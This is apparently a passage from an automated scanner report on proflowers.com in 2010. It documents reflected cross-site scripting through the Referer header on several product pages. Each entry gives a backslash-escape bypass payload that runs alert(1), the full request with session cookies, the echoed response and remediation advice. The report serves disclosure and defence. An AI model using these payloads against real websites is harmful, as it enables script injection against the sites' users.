<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_3f9d5\\";alert(1)//4ccac39a994";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3abbe\"%3balert(1)//4fe5172f4f was submitted in the Referer HTTP header. This input was echoed as 3abbe\\";alert(1)//4fe5172f4f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /roses-ros HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=3abbe\"%3balert(1)//4fe5172f4f
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:14:27 GMT Connection: close Content-Length: 236894
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_3abbe\\";alert(1)//4fe5172f4f";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 52d60\"%3balert(1)//9f04594afba was submitted in the Referer HTTP header. This input was echoed as 52d60\\";alert(1)//9f04594afba in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /seasonal-plants-pse HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=52d60\"%3balert(1)//9f04594afba
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:07:49 GMT Connection: close Content-Length: 237190
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_52d60\\";alert(1)//9f04594afba";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f9553\"%3balert(1)//3a290c6ed63 was submitted in the Referer HTTP header. This input was echoed as f9553\\";alert(1)//3a290c6ed63 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /send-flowers-bsl HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=f9553\"%3balert(1)//3a290c6ed63
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:20 GMT Connection: close Content-Length: 259614
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_f9553\\";alert(1)//3a290c6ed63";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 724c4\"%3balert(1)//fcfc76ef7e7 was submitted in the Referer HTTP header. This input was echoed as 724c4\\";alert(1)//fcfc76ef7e7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /spa-baskets-spa HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=724c4\"%3balert(1)//fcfc76ef7e7
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:43 GMT Connection: close Content-Length: 132803
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_724c4\\";alert(1)//fcfc76ef7e7";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload be904\"%3balert(1)//c844e65d675 was submitted in the Referer HTTP header. This input was echoed as be904\\";alert(1)//c844e65d675 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /sunflowers-sun HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=be904\"%3balert(1)//c844e65d675
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:14:24 GMT Connection: close Content-Length: 79376
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_be904\\";alert(1)//c844e65d675";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a2e94\"%3balert(1)//e370d14850 was submitted in the Referer HTTP header. This input was echoed as a2e94\\";alert(1)//e370d14850 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /sympathy-flowers-gifts-sym HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=a2e94\"%3balert(1)//e370d14850
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:49 GMT Connection: close Content-Length: 211862
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_a2e94\\";alert(1)//e370d14850";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e0a34\"%3balert(1)//2cd30903d98 was submitted in the Referer HTTP header. This input was echoed as e0a34\\";alert(1)//2cd30903d98 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /teddy-bears-gifts-plu HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=e0a34\"%3balert(1)//2cd30903d98
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:15:13 GMT Connection: close Content-Length: 103980
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_e0a34\\";alert(1)//2cd30903d98";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1da5e\"%3balert(1)//b23f18ee51b was submitted in the Referer HTTP header. This input was echoed as 1da5e\\";alert(1)//b23f18ee51b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /thank-you-flowers-thk HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=1da5e\"%3balert(1)//b23f18ee51b
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:54 GMT Connection: close Content-Length: 215430
